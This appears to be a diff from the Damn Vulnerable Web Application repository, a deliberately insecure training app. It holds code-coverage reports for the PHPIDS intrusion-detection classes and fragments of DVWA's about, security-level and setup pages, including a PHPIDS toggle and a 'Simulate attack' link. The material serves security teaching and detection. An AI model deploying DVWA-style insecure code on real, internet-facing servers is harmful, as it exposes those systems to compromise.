filter rules + 74 : * + 75 : * Holds an instance of IDS_Filter_Storage + 76 : * + 77 : * @var object + 78 : */ + 79 : private $storage = null; + 80 : + 81 : /** + 82 : * Results + 83 : * + 84 : * Holds an instance of IDS_Report which itself provides an API to + 85 : * access the detected results + 86 : * + 87 : * @var object + 88 : */ + 89 : private $report = null; + 90 : + 91 : /** + 92 : * Scan keys switch + 93 : * + 94 : * Enabling this property will cause the monitor to scan both the key and + 95 : * the value of variables + 96 : * + 97 : * @var boolean + 98 : */ + 99 : public $scanKeys = false; + 100 : + 101 : /** + 102 : * Exception container + 103 : * + 104 : * Using this array it is possible to define variables that must not be + 105 : * scanned. Per default, utmz google analytics parameters are permitted. + 106 : * + 107 : * @var array + 108 : */ + 109 : private $exceptions = array(); + 110 : + 111 : /** + 112 : * Html container + 113 : * + 114 : * Using this array it is possible to define variables that legally + 115 : * contain html and have to be prepared before hitting the rules to + 116 : * avoid too many false alerts + 117 : * + 118 : * @var array + 119 : */ + 120 : private $html = array(); + 121 : + 122 : /** + 123 : * JSON container + 124 : * + 125 : * Using this array it is possible to define variables that contain + 126 : * JSON data - and should be treated as such + 127 : * + 128 : * @var array + 129 : */ + 130 : private $json = array(); + 131 : + 132 : /** + 133 : * Holds HTMLPurifier object + 134 : * + 135 : * @var object + 136 : */ + 137 : private $htmlpurifier = NULL; + 138 : + 139 : /** + 140 : * Path to HTMLPurifier source + 141 : * + 142 : * This path might be changed in case one wishes to make use of a + 143 : * different HTMLPurifier source file e.g. if already used in the + 144 : * application PHPIDS is protecting + 145 : * + 146 : * @var string + 147 : */ + 148 : private $pathToHTMLPurifier = ''; + 149 : + 150 : /** + 151 : * HTMLPurifier cache directory + 152 : * + 153 : * @var string + 154 : */ + 155 : private $HTMLPurifierCache = ''; + 156 : + 157 : /** + 158 : * This property holds the tmp JSON string from the + 159 : * _jsonDecodeValues() callback + 160 : * + 161 : * @var string + 162 : */ + 163 : private $tmpJsonString = ''; + 164 : + 165 : + 166 : /** + 167 : * Constructor + 168 : * + 169 : * @param array $request array to scan + 170 : * @param object $init instance of IDS_Init + 171 : * @param array $tags list of tags to which filters should be applied + 172 : * + 173 : * @return void + 174 : */ + 175 : public function __construct(array $request, IDS_Init $init, array $tags = null) + 176 : { + 177 41 : $version = isset($init->config['General']['min_php_version']) + 178 41 : ? $init->config['General']['min_php_version'] : '5.1.6'; + 179 : + 180 41 : if (version_compare(PHP_VERSION, $version, '<')) { + 181 0 : throw new Exception( + 182 0 : 'PHP version has to be equal or higher than ' . $version . ' or + 183 : PHP version couldn\'t be determined' + 184 0 : ); + 185 : } + 186 : + 187 : + 188 41 : if (!empty($request)) { + 189 41 : $this->storage = new IDS_Filter_Storage($init); + 190 41 : $this->request = $request; + 191 41 : $this->tags = $tags; + 192 : + 193 41 : $this->scanKeys = $init->config['General']['scan_keys']; + 194 : + 195 41 : $this->exceptions = isset($init->config['General']['exceptions']) + 196 41 : ? $init->config['General']['exceptions'] : false; + 197 : + 198 41 : $this->html = isset($init->config['General']['html']) + 199 41 : ? $init->config['General']['html'] : false; + 200 : + 201 41 : $this->json = isset($init->config['General']['json']) + 202 41 : ? $init->config['General']['json'] : false; + 203 : + 204 41 : if(isset($init->config['General']['HTML_Purifier_Path']) + 205 41 : && isset($init->config['General']['HTML_Purifier_Cache'])) { + 206 41 : $this->pathToHTMLPurifier = + 207 41 : $init->config['General']['HTML_Purifier_Path']; + 208 41 : $this->HTMLPurifierCache = + 209 41 : $init->config['General']['HTML_Purifier_Cache']; + 210 41 : } + 211 : + 212 41 : } + 213 : + 214 41 : if (!is_writeable($init->getBasePath() + 215 41 : . $init->config['General']['tmp_path'])) { + 216 0 : throw new Exception( + 217 : 'Please make sure the ' . + 218 0 : htmlspecialchars($init->getBasePath() . + 219 0 : $init->config['General']['tmp_path'], ENT_QUOTES, 'UTF-8') . + 220 : ' folder is writable' + 221 0 : ); + 222 : } + 223 : + 224 41 : include_once 'IDS/Report.php'; + 225 41 : $this->report = new IDS_Report; + 226 41 : } + 227 : + 228 : /** + 229 : * Starts the scan mechanism + 230 : * + 231 : * @return object IDS_Report + 232 : */ + 233 : public function run() + 234 : { + 235 36 : if (!empty($this->request)) { + 236 36 : foreach ($this->request as $key => $value) { + 237 36 : $this->_iterate($key, $value); + 238 36 : } + 239 36 : } + 240 : + 241 36 : return $this->getReport(); + 242 : } + 243 : + 244 : /** + 245 : * Iterates through given data and delegates it to IDS_Monitor::_detect() in + 246 : * order to check for malicious appearing fragments + 247 : * + 248 : * @param mixed $key the former array key + 249 : * @param mixed $value the former array value + 250 : * + 251 : * @return void + 252 : */ + 253 : private function _iterate($key, $value) + 254 : { + 255 : + 256 36 : if (!is_array($value)) { + 257 36 : if (is_string($value)) { + 258 : + 259 36 : if ($filter = $this->_detect($key, $value)) { + 260 33 : include_once 'IDS/Event.php'; + 261 33 : $this->report->addEvent( + 262 33 : new IDS_Event( + 263 33 : $key, + 264 33 : $value, + 265 : $filter + 266 33 : ) + 267 33 : ); + 268 33 : } + 269 36 : } + 270 36 : } else { + 271 2 : foreach ($value as $subKey => $subValue) { + 272 2 : $this->_iterate($key . '.' . $subKey, $subValue); + 273 2 : } + 274 : } + 275 36 : } + 276 : + 277 : /** + 278 : * Checks whether given value matches any of the supplied filter patterns + 279 : * + 280 : * @param mixed $key the key of the value to scan + 281 : * @param mixed $value the value to scan + 282 : * + 283 : * @return bool|array false or array of filter(s) that matched the value + 284 : */ + 285 : private function _detect($key, $value) + 286 : { + 287 : + 288 : // to increase performance, only start detection if value + 289 : // isn't alphanumeric + 290 36 : if (!$value || !preg_match('/[^\w\s\/@!?,]+/', $value)) { + 291 1 : return false; + 292 : } + 293 : + 294 : // check if this field is part of the exceptions + 295 35 : if (is_array($this->exceptions) + 296 35 : && in_array($key, $this->exceptions, true)) { + 297 1 : return false; + 298 : } + 299 : + 300 : // check for magic quotes and remove them if necessary + 301 35 : if (function_exists('get_magic_quotes_gpc') + 302 35 : && get_magic_quotes_gpc()) { + 303 35 : $value = stripslashes($value); + 304 35 : } + 305 : + 306 : // if html monitoring is enabled for this field - then do it! + 307 35 : if (is_array($this->html) && in_array($key, $this->html, true)) { + 308 2 : list($key, $value) = $this->_purifyValues($key, $value); + 309 2 : } + 310 : + 311 : // check if json monitoring is enabled for this field + 312 35 : if (is_array($this->json) && in_array($key, $this->json, true)) { + 313 1 : list($key, $value) = $this->_jsonDecodeValues($key, $value); + 314 1 : } + 315 : + 316 : // use the converter + 317 35 : include_once 'IDS/Converter.php'; + 318 35 : $value = IDS_Converter::runAll($value); + 319 35 : $value = IDS_Converter::runCentrifuge($value, $this); + 320 : + 321 : // scan keys if activated via config + 322 35 : $key = $this->scanKeys ? IDS_Converter::runAll($key) + 323 35 : : $key; + 324 35 : $key = $this->scanKeys ? IDS_Converter::runCentrifuge($key, $this) + 325 35 : : $key; + 326 : + 327 35 : $filters = array(); + 328 35 : $filterSet = $this->storage->getFilterSet(); + 329 35 : foreach ($filterSet as $filter) { + 330 : + 331 : /* + 332 : * in case we have a tag array specified the IDS will only + 333 : * use those filters that are meant to detect any of the + 334 : * defined tags + 335 : */ + 336 35 : if (is_array($this->tags)) { + 337 1 : if (array_intersect($this->tags, $filter->getTags())) { + 338 1 : if ($this->_match($key, $value, $filter)) { + 339 1 : $filters[] = $filter; + 340 1 : } + 341 1 : } + 342 1 : } else { + 343 34 : if ($this->_match($key, $value, $filter)) { + 344 32 : $filters[] = $filter; + 345 32 : } + 346 : } + 347 35 : } + 348 : + 349 35 : return empty($filters) ? false : $filters; + 350 : } + 351 : + 352 : + 353 : /** + 354 : * Purifies given key and value variables using HTMLPurifier + 355 : * + 356 : * This function is needed whenever there is variables for which HTML + 357 : * might be allowed like e.g. WYSIWYG post bodies. It will dectect malicious + 358 : * code fragments and leaves harmless parts untouched. + 359 : * + 360 : * @param mixed $key + 361 : * @param mixed $value + 362 : * @since 0.5 + 363 : * + 364 : * @return array + 365 : */ + 366 : private function _purifyValues($key, $value) { + 367 : + 368 2 : include_once $this->pathToHTMLPurifier; + 369 : + 370 2 : if (!is_writeable($this->HTMLPurifierCache)) { + 371 0 : throw new Exception( + 372 0 : $this->HTMLPurifierCache . ' must be writeable'); + 373 : } + 374 : + 375 2 : if (class_exists('HTMLPurifier')) { + 376 2 : $config = HTMLPurifier_Config::createDefault(); + 377 2 : $config->set('Attr', 'EnableID', true); + 378 2 : $config->set('Cache', 'SerializerPath', $this->HTMLPurifierCache); + 379 2 : $config->set('Output', 'Newline', "\n"); + 380 2 : $this->htmlpurifier = new HTMLPurifier($config); + 381 2 : } else { + 382 0 : throw new Exception( + 383 : 'HTMLPurifier class could not be found - ' . + 384 0 : 'make sure the purifier files are valid and' . + 385 : ' the path is correct' + 386 0 : ); + 387 : } + 388 : + 389 2 : $purified_value = $this->htmlpurifier->purify($value); + 390 2 : $purified_key = $this->htmlpurifier->purify($key); + 391 : + 392 2 : $redux_value = strip_tags($value); + 393 2 : $redux_key = strip_tags($key); + 394 : + 395 2 : if ($value != $purified_value || $redux_value) { + 396 2 : $value = $this->_diff($value, $purified_value, $redux_value); + 397 2 : } else { + 398 0 : $value = NULL; + 399 : } + 400 2 : if ($key != $purified_key) { + 401 0 : $key = $this->_diff($key, $purified_key, $redux_key); + 402 0 : } else { + 403 2 : $key = NULL; + 404 : } + 405 : + 406 2 : return array($key, $value); + 407 : } + 408 : + 409 : /** + 410 : * This method calculates the difference between the original + 411 : * and the purified markup strings. + 412 : * + 413 : * @param string $original the original markup + 414 : * @param string $purified the purified markup + 415 : * @param string $redux the string without html + 416 : * @since 0.5 + 417 : * + 418 : * @return string the difference between the strings + 419 : */ + 420 : private function _diff($original, $purified, $redux) + 421 : { + 422 : /* + 423 : * deal with over-sensitive alt-attribute addition of the purifier + 424 : * and other common html formatting problems + 425 : */ + 426 2 : $purified = preg_replace('/\s+alt="[^"]*"/m', null, $purified); + 427 2 : $purified = preg_replace('/=?\s*"\s*"/m', null, $purified); + 428 : + 429 2 : $original = preg_replace('/=?\s*"\s*"/m', null, $original); + 430 2 : $original = preg_replace('/\s+alt=?/m', null, $original); + 431 : + 432 : // check which string is longer + 433 2 : $length = (strlen($original) - strlen($purified)); + 434 : /* + 435 : * Calculate the difference between the original html input + 436 : * and the purified string. + 437 : */ + 438 2 : if ($length > 0) { + 439 2 : $array_2 = str_split($original); + 440 2 : $array_1 = str_split($purified); + 441 2 : } else { + 442 2 : $array_1 = str_split($original); + 443 2 : $array_2 = str_split($purified); + 444 : } + 445 2 : foreach ($array_2 as $key => $value) { + 446 2 : if ($value !== $array_1[$key]) { + 447 2 : $array_1 = array_reverse($array_1); + 448 2 : $array_1[] = $value; + 449 2 : $array_1 = array_reverse($array_1); + 450 2 : } + 451 2 : } + 452 : + 453 : // return the diff - ready to hit the converter and the rules + 454 2 : $diff = trim(join('', array_reverse( + 455 2 : (array_slice($array_1, 0, $length))))); + 456 : + 457 : // clean up spaces between tag delimiters + 458 2 : $diff = preg_replace('/>\s*</m', '><', $diff); + 459 : + 460 : // correct over-sensitively stripped bad html elements + 461 2 : $diff = preg_replace('/[^<](iframe|script|embed|object' . + 462 2 : '|applet|base|img|style)/m', '<$1', $diff); + 463 : + 464 2 : if ($original == $purified && !$redux) { + 465 1 : return null; + 466 : } + 467 : + 468 2 : return $diff . $redux; + 469 : } + 470 : + 471 : /** + 472 : * This method prepares incoming JSON data for the PHPIDS detection + 473 : * process. It utilizes _jsonConcatContents() as callback and returns a + 474 : * string version of the JSON data structures. + 475 : * + 476 : * @param mixed $key + 477 : * @param mixed $value + 478 : * @since 0.5.3 + 479 : * + 480 : * @return array + 481 : */ + 482 : private function _jsonDecodeValues($key, $value) { + 483 : + 484 1 : $tmp_key = json_decode($key); + 485 1 : $tmp_value = json_decode($value); + 486 : + 487 1 : if($tmp_value && is_array($tmp_value) || is_object($tmp_value)) { + 488 1 : array_walk_recursive($tmp_value, array($this, '_jsonConcatContents')); + 489 1 : $value = $this->tmpJsonString; + 490 1 : } + 491 : + 492 1 : if($tmp_key && is_array($tmp_key) || is_object($tmp_key)) { + 493 0 : array_walk_recursive($tmp_key, array($this, '_jsonConcatContents')); + 494 0 : $key = $this->tmpJsonString; + 495 0 : } + 496 : + 497 1 : return array($key, $value); + 498 : } + 499 : + 500 : /** + 501 : * This is the callback used in _jsonDecodeValues(). The method + 502 : * concatenates key and value and stores them in $this->tmpJsonString. + 503 : * + 504 : * @param mixed $key + 505 : * @param mixed $value + 506 : * @since 0.5.3 + 507 : * + 508 : * @return void + 509 : */ + 510 : private function _jsonConcatContents($key, $value) { + 511 : + 512 1 : $this->tmpJsonString .= $key . " " . $value . "\n"; + 513 1 : } + 514 : + 515 : /** + 516 : * Matches given value and/or key against given filter + 517 : * + 518 : * @param mixed $key the key to optionally scan + 519 : * @param mixed $value the value to scan + 520 : * @param object $filter the filter object + 521 : * + 522 : * @return boolean + 523 : */ + 524 : private function _match($key, $value, $filter) + 525 : { + 526 35 : if ($this->scanKeys) { + 527 1 : if ($filter->match($key)) { + 528 1 : return true; + 529 : } + 530 1 : } + 531 : + 532 35 : if ($filter->match($value)) { + 533 33 : return true; + 534 : } + 535 : + 536 35 : return false; + 537 : } + 538 : + 539 : /** + 540 : * Sets exception array + 541 : * + 542 : * @param mixed $exceptions the thrown exceptions + 543 : * + 544 : * @return void + 545 : */ + 546 : public function setExceptions($exceptions) + 547 : { + 548 3 : if (!is_array($exceptions)) { + 549 2 : $exceptions = array($exceptions); + 550 2 : } + 551 : + 552 3 : $this->exceptions = $exceptions; + 553 3 : } + 554 : + 555 : /** + 556 : * Returns exception array + 557 : * + 558 : * @return array + 559 : */ + 560 : public function getExceptions() + 561 : { + 562 2 : return $this->exceptions; + 563 : } + 564 : + 565 : /** + 566 : * Sets html array + 567 : * + 568 : * @param mixed $html the fields containing html + 569 : * @since 0.5 + 570 : * + 571 : * @return void + 572 : */ + 573 : public function setHtml($html) + 574 : { + 575 3 : if (!is_array($html)) { + 576 1 : $html = array($html); + 577 1 : } + 578 : + 579 3 : $this->html = $html; + 580 3 : } + 581 : + 582 : /** + 583 : * Adds a value to the html array + 584 : * + 585 : * @since 0.5 + 586 : * + 587 : * @return void + 588 : */ + 589 : public function addHtml($value) + 590 : { + 591 0 : $this->html[] = $value; + 592 0 : } + 593 : + 594 : /** + 595 : * Returns html array + 596 : * + 597 : * @since 0.5 + 598 : * + 599 : * @return array the fields that contain allowed html + 600 : */ + 601 : public function getHtml() + 602 : { + 603 1 : return $this->html; + 604 : } + 605 : + 606 : /** + 607 : * Sets json array + 608 : * + 609 : * @param mixed $json the fields containing json + 610 : * @since 0.5.3 + 611 : * + 612 : * @return void + 613 : */ + 614 : public function setJson($json) + 615 : { + 616 1 : if (!is_array($json)) { + 617 0 : $json = array($json); + 618 0 : } + 619 : + 620 1 : $this->json = $json; + 621 1 : } + 622 : + 623 : /** + 624 : * Adds a value to the json array + 625 : * + 626 : * @since 0.5.3 + 627 : * + 628 : * @return void + 629 : */ + 630 : public function addJson($value) + 631 : { + 632 0 : $this->json[] = $value; + 633 0 : } + 634 : + 635 : /** + 636 : * Returns json array + 637 : * + 638 : * @since 0.5.3 + 639 : * + 640 : * @return array the fields that contain json + 641 : */ + 642 : public function getJson() + 643 : { + 644 0 : return $this->json; + 645 : } + 646 : + 647 : /** + 648 : * Returns storage container + 649 : * + 650 : * @return array + 651 : */ + 652 : public function getStorage() + 653 : { + 654 1 : return $this->storage; + 655 : } + 656 : + 657 : /** + 658 : * Returns report object providing various functions to work with + 659 : * detected results. Also the centrifuge data is being set as property + 660 : * of the report object. + 661 : * + 662 : * @return object IDS_Report + 663 : */ + 664 : public function getReport() + 665 : { + 666 36 : if (isset($this->centrifuge) && $this->centrifuge) { + 667 18 : $this->report->setCentrifuge($this->centrifuge); + 668 18 : } + 669 : + 670 36 : return $this->report; + 671 : } + 672 : + 673 : } + 674 : + 675 : /* + 676 : * Local variables: + 677 : * tab-width: 4 + 678 : * c-basic-offset: 4 + 679 : * End: + 680 : */ + ++ |
+
|
| Generated by PHPUnit 3.3.1 and Xdebug 2.1.0-dev at Mon Dec 22 13:57:42 CET 2008. |
| PHPIDS | ||||
| ||||
+
|
+ ||||
|
+
| + | Coverage | +|||||||||||
| + | Classes | +Methods | +Lines | +|||||||||
| Total | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +13 / 13 | +
+
|
+ 86.08% | +68 / 79 | +|||
| + | ||||||||||||
| IDS_Report | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +13 / 13 | +
+
|
+ 86.08% | +68 / 79 | +|||
| public function __construct(array $events = NULL) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +6 / 6 | +||||||
| public function addEvent(IDS_Event $event) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +3 / 3 | +||||||
| public function getEvent($name) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +6 / 6 | +||||||
| public function getTags() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +9 / 9 | +||||||
| public function getImpact() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +||||||
| public function hasEvent($name) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +3 / 3 | +||||||
| public function count() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public function getIterator() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public function isEmpty() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| protected function clear() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +3 / 3 | +||||||
| public function getCentrifuge() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +2 / 2 | +||||||
| public function setCentrifuge($centrifuge = array ( +)) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 75.00% | +3 / 4 | +||||||
| public function __toString() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 69.70% | +23 / 33 | +||||||
++ 1 : <?php + 2 : + 3 : /** + 4 : * PHPIDS + 5 : * + 6 : * Requirements: PHP5, SimpleXML + 7 : * + 8 : * Copyright (c) 2008 PHPIDS group (http://php-ids.org) + 9 : * + 10 : * PHPIDS is free software; you can redistribute it and/or modify + 11 : * it under the terms of the GNU Lesser General Public License as published by + 12 : * the Free Software Foundation, version 3 of the License, or + 13 : * (at your option) any later version. + 14 : * + 15 : * PHPIDS is distributed in the hope that it will be useful, + 16 : * but WITHOUT ANY WARRANTY; without even the implied warranty of + 17 : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + 18 : * GNU Lesser General Public License for more details. + 19 : * + 20 : * You should have received a copy of the GNU Lesser General Public License + 21 : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. + 22 : * + 23 : * PHP version 5.1.6+ + 24 : * + 25 : * @category Security + 26 : * @package PHPIDS + 27 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 28 : * @author Christian Matthies <ch0012@gmail.com> + 29 : * @author Lars Strojny <lars@strojny.net> + 30 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 31 : * @link http://php-ids.org/ + 32 : */ + 33 : + 34 : /** + 35 : * PHPIDS report object + 36 : * + 37 : * The report objects collects a number of events and thereby presents the + 38 : * detected results. It provides a convenient API to work with the results. + 39 : * + 40 : * Note that this class implements Countable, IteratorAggregate and + 41 : * a __toString() method + 42 : * + 43 : * @category Security + 44 : * @package PHPIDS + 45 : * @author Christian Matthies <ch0012@gmail.com> + 46 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 47 : * @author Lars Strojny <lars@strojny.net> + 48 : * @copyright 2007 The PHPIDS Group + 49 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 50 : * @version Release: $Id:Report.php 517 2007-09-15 15:04:13Z mario $ + 51 : * @link http://php-ids.org/ + 52 : */ + 53 : class IDS_Report implements Countable, IteratorAggregate + 54 : { + 55 : + 56 : /** + 57 : * Event container + 58 : * + 59 : * @var array + 60 : */ + 61 : protected $events = array(); + 62 : + 63 : /** + 64 : * List of affected tags + 65 : * + 66 : * This list of tags is collected from the collected event objects on + 67 : * demand when IDS_Report->getTags() is called + 68 : * + 69 : * @var array + 70 : */ + 71 : protected $tags = array(); + 72 : + 73 : /** + 74 : * Impact level + 75 : * + 76 : * The impact level is calculated on demand by adding the results of the + 77 : * event objects on IDS_Report->getImpact() + 78 : * + 79 : * @var integer + 80 : */ + 81 : protected $impact = 0; + 82 : + 83 : /** + 84 : * Centrifuge data + 85 : * + 86 : * This variable - initiated as an empty array - carries all information + 87 : * about the centrifuge data if available + 88 : * + 89 : * @var array + 90 : */ + 91 : protected $centrifuge = array(); + 92 : + 93 : /** + 94 : * Constructor + 95 : * + 96 : * @param array $events the events the report should include + 97 : * + 98 : * @return void + 99 : */ + 100 : public function __construct(array $events = null) + 101 : { + 102 59 : if ($events) { + 103 19 : foreach ($events as $event) { + 104 19 : $this->addEvent($event); + 105 19 : } + 106 19 : } + 107 59 : } + 108 : + 109 : /** + 110 : * Adds an IDS_Event object to the report + 111 : * + 112 : * @param object $event IDS_Event + 113 : * + 114 : * @return object $this + 115 : */ + 116 : public function addEvent(IDS_Event $event) + 117 : { + 118 52 : $this->clear(); + 119 52 : $this->events[$event->getName()] = $event; + 120 : + 121 52 : return $this; + 122 : } + 123 : + 124 : /** + 125 : * Get event by name + 126 : * + 127 : * In most cases an event is identified by the key of the variable that + 128 : * contained maliciously appearing content + 129 : * + 130 : * @param scalar $name the event name + 131 : * + 132 : * @throws InvalidArgumentException if argument is invalid + 133 : * @return mixed IDS_Event object or false if the event does not exist + 134 : */ + 135 : public function getEvent($name) + 136 : { + 137 5 : if (!is_scalar($name)) { + 138 1 : throw new InvalidArgumentException( + 139 : 'Invalid argument type given' + 140 1 : ); + 141 : } + 142 : + 143 4 : if ($this->hasEvent($name)) { + 144 3 : return $this->events[$name]; + 145 : } + 146 : + 147 1 : return false; + 148 : } + 149 : + 150 : /** + 151 : * Returns list of affected tags + 152 : * + 153 : * @return array + 154 : */ + 155 : public function getTags() + 156 : { + 157 3 : if (!$this->tags) { + 158 3 : $this->tags = array(); + 159 : + 160 3 : foreach ($this->events as $event) { + 161 3 : $this->tags = array_merge($this->tags, + 162 3 : $event->getTags()); + 163 3 : } + 164 : + 165 3 : $this->tags = array_values(array_unique($this->tags)); + 166 3 : } + 167 : + 168 3 : return $this->tags; + 169 : } + 170 : + 171 : /** + 172 : * Returns total impact + 173 : * + 174 : * Each stored IDS_Event object and its IDS_Filter sub-object are called + 175 : * to calculate the overall impact level of this request + 176 : * + 177 : * @return integer + 178 : */ + 179 : public function getImpact() + 180 : { + 181 36 : if (!$this->impact) { + 182 36 : $this->impact = 0; + 183 36 : foreach ($this->events as $event) { + 184 34 : $this->impact += $event->getImpact(); + 185 36 : } + 186 36 : } + 187 : + 188 36 : return $this->impact; + 189 : } + 190 : + 191 : /** + 192 : * Checks if a specific event with given name exists + 193 : * + 194 : * @param scalar $name the event name + 195 : * + 196 : * @throws InvalidArgumentException if argument is illegal + 197 : * + 198 : * @return boolean + 199 : */ + 200 : public function hasEvent($name) + 201 : { + 202 11 : if (!is_scalar($name)) { + 203 1 : throw new InvalidArgumentException('Invalid argument given'); + 204 : } + 205 : + 206 10 : return isset($this->events[$name]); + 207 : } + 208 : + 209 : /** + 210 : * Returns total amount of events + 211 : * + 212 : * @return integer + 213 : */ + 214 : public function count() + 215 : { + 216 1 : return count($this->events); + 217 : } + 218 : + 219 : /** + 220 : * Return iterator object + 221 : * + 222 : * In order to provide the possibility to directly iterate over the + 223 : * IDS_Event object the IteratorAggregate is implemented. One can easily + 224 : * use foreach() to iterate through all stored IDS_Event objects. + 225 : * + 226 : * @return Iterator + 227 : */ + 228 : public function getIterator() + 229 : { + 230 1 : return new ArrayObject($this->events); + 231 : } + 232 : + 233 : /** + 234 : * Checks if any events are registered + 235 : * + 236 : * @return boolean + 237 : */ + 238 : public function isEmpty() + 239 : { + 240 4 : return empty($this->events); + 241 : } + 242 : + 243 : /** + 244 : * Clears calculated/collected values + 245 : * + 246 : * @return void + 247 : */ + 248 : protected function clear() + 249 : { + 250 52 : $this->impact = 0; + 251 52 : $this->tags = array(); + 252 52 : } + 253 : + 254 : /** + 255 : * This method returns the centrifuge property or null if not + 256 : * filled with data + 257 : * + 258 : * @return array/null + 259 : */ + 260 : public function getCentrifuge() + 261 : { + 262 1 : return ($this->centrifuge && count($this->centrifuge) > 0) + 263 1 : ? $this->centrifuge : null; + 264 : } + 265 : + 266 : /** + 267 : * This method sets the centrifuge property + 268 : * + 269 : * @param array $centrifuge the centrifuge data + 270 : * + 271 : * @throws InvalidArgumentException if argument is illegal + 272 : * + 273 : * @return boolean true is arguments were valid + 274 : */ + 275 : public function setCentrifuge($centrifuge = array()) + 276 : { + 277 18 : if (is_array($centrifuge) && $centrifuge) { + 278 18 : $this->centrifuge = $centrifuge; + 279 18 : return true; + 280 : } + 281 0 : throw new InvalidArgumentException('Invalid argument given'); + 282 : } + 283 : + 284 : /** + 285 : * Directly outputs all available information + 286 : * + 287 : * @return string + 288 : */ + 289 : public function __toString() + 290 : { + 291 2 : if (!$this->isEmpty()) { + 292 1 : $output = ''; + 293 1 : $output .= 'Total impact: ' . $this->getImpact() . "<br/>\n"; + 294 1 : $output .= 'Affected tags: ' . join(', ', $this->getTags()) . + 295 1 : "<br/>\n"; + 296 : + 297 1 : foreach ($this->events as $event) { + 298 : $output .= "<br/>\nVariable: " . + 299 1 : htmlspecialchars($event->getName()) . ' | Value: ' . + 300 1 : htmlspecialchars($event->getValue()) . "<br/>\n"; + 301 1 : $output .= 'Impact: ' . $event->getImpact() . ' | Tags: ' . + 302 1 : join(', ', $event->getTags()) . "<br/>\n"; + 303 : + 304 1 : foreach ($event as $filter) { + 305 1 : $output .= 'Description: ' . $filter->getDescription() . + 306 1 : ' | '; + 307 1 : $output .= 'Tags: ' . join(', ', $filter->getTags()) . + 308 1 : ' | '; + 309 1 : $output .= 'ID: ' . $filter->getId() . + 310 1 : "<br/>\n"; + 311 1 : } + 312 1 : } + 313 : + 314 1 : $output .= '<br/>'; + 315 : + 316 1 : if ($centrifuge = $this->getCentrifuge()) { + 317 0 : $output .= 'Centrifuge detection data'; + 318 : $output .= '<br/> Threshold: ' . + 319 0 : ((isset($centrifuge['threshold'])&&$centrifuge['threshold']) ? + 320 0 : $centrifuge['threshold'] : '---'); + 321 : $output .= '<br/> Ratio: ' . + 322 0 : ((isset($centrifuge['ratio'])&&$centrifuge['ratio']) ? + 323 0 : $centrifuge['ratio'] : '---'); + 324 0 : if(isset($centrifuge['converted'])) { + 325 0 : $output .= '<br/> Converted: ' . $centrifuge['converted']; + 326 0 : } + 327 0 : $output .= "<br/><br/>\n"; + 328 0 : } + 329 1 : } + 330 : + 331 2 : return isset($output) ? $output : ''; + 332 : } + 333 : } + 334 : + 335 : /* + 336 : * Local variables: + 337 : * tab-width: 4 + 338 : * c-basic-offset: 4 + 339 : * End: + 340 : */ + ++ |
+
|
| Generated by PHPUnit 3.3.1 and Xdebug 2.1.0-dev at Mon Dec 22 13:57:42 CET 2008. |
". dvwaReadIdsLog() ."
+ +Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.
+ +Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or any internet facing web server as it will be compromised. We recommend downloading and installing ".dvwaExternalLinkUrlGet( 'http://www.apachefriends.org/en/xampp.html','XAMPP' )." onto a local machine inside your LAN which is used solely for testing.
+ +We do not take responsibility for the way in which any one uses this application. We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.
+ +The help button allows you to view hits/tips for each vulnerability and for each security level on their respective page.
+![](\"".DVWA_WEB_PAGE_TO_ROOT."dvwa/images/login_logo.png\"){kind=logo}
Damn Vulnerable Web Application (DVWA) is a RandomStorm OpenSource project
+ +"; + } + $securityOptionsHtml .= ""; +} + +$phpIdsHtml = 'PHPIDS is currently '; +if( dvwaPhpIdsIsEnabled() ) { + $phpIdsHtml .= 'enabled. [disable PHPIDS]'; +} else { + $phpIdsHtml .= 'disabled. [enable PHPIDS]'; +} + +$page[ 'body' ] .= " +
![](\"".DVWA_WEB_PAGE_TO_ROOT."dvwa/images/lock.png\")
".dvwaExternalLinkUrlGet( 'http://php-ids.org/', 'PHPIDS' )." v.".dvwaPhpIdsVersionGet()." (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
+You can enable PHPIDS across this site for the duration of your session.
+ +{$phpIdsHtml}
+ [\">Simulate attack] - + [View IDS log] + +![](\"".DVWA_WEB_PAGE_TO_ROOT."dvwa/images/spanner.png\")
Click on the 'Create / Reset Database' button below to create or reset your database. If you get an error make sure you have the correct user credentials in /config/config.inc.php
+ +If the database already exists, it will be cleared and the data will be reset.
+ +
+
